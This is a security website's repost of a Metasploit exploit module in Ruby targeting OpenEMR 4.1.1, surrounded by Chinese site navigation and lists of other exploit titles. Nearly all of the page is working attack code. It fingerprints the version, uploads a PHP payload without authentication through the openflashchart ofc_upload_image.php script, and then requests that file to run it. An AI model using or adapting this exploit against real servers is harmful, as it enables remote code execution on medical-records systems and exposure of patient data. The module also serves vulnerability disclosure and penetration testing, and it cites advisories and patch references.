首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenEMR PHP File Upload
来源:metasploit.com 作者:vazquez 发布时间:2013-02-20  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::FileDropper

	def initialize(info={})
		super(update_info(info,
			'Name'           => "OpenEMR PHP File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
				ofc_upload_image.php file from the openflashchart library, a malicious user can
				upload a file to the tmp-upload-images directory without any authentication, which
				results in arbitrary code execution. The module has been tested successfully on
				OpenEMR 4.1.1 over Ubuntu 10.04.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'OSVDB', '90222' ],
					[ 'BID', '37314' ],
					[ 'EBD', '24492' ],
					[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
					[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
				],
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['OpenEMR 4.1.1', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 13 2013",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
				], self.class)
	end

	def check
		uri = target_uri.path
		peer = "#{rhost}:#{rport}"

		# Check version
		print_status("#{peer} - Trying to detect installed version")

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => normalize_uri(uri, "interface", "login", "login.php")
		})

		if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
			version = $1
		else
			return Exploit::CheckCode::Unknown
		end

		print_status("#{peer} - Version #{version} detected")

		if version > "4.1.1"
			return Exploit::CheckCode::Safe
		end

		# Check for vulnerable component
		print_status("#{peer} - Trying to detect the vulnerable component")

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
		})

		if res and res.code == 200 and res.body =~ /Saving your image to/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		uri = target_uri.path

		peer = "#{rhost}:#{rport}"
		payload_name = rand_text_alpha(rand(10) + 5) + '.php'
		my_payload = payload.encoded

		print_status("#{peer} - Sending PHP payload (#{payload_name})")
		res = send_request_raw({
			'method'  => 'POST',
			'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
			'headers' => { "Content-Length" => my_payload.length.to_s },
			'data'    => my_payload
		})

		# If the server returns 200 and the body contains our payload name,
		# we assume we uploaded the malicious file successfully
		if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
			fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
		end

		register_file_for_cleanup(payload_name)

		print_status("#{peer} - Executing PHP payload (#{payload_name})")
		# Execute our payload
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
		})

		# If we don't get a 200 when we request our malicious payload, we suspect
		# we don't have a shell, either.  Print the status code for debugging purposes.
		if res and res.code != 200
			print_error("#{peer} - Server returned #{res.code.to_s}")
		end
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·BigAnt Server 2 SCH And DUPF B
·ArrowChat 1.5.61 RFI Vulnerabi
·BigAnt Server DUPF Command Arb
·TeamViwer V8.0.16642 Insecure
·Windows Manage User Level Pers
·Photodex ProShow Producer 5.0.
·Photodex ProShow Producer v5.0
·MS Office 2010 Download Execut
·Photodex ProShow Producer 5.0.
·Joomla <=2.5.8,<=3.0.2 remote
·VLC 2.0.5 (.bmp) Heap Overflow
·Microsoft Windows XP Professio
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved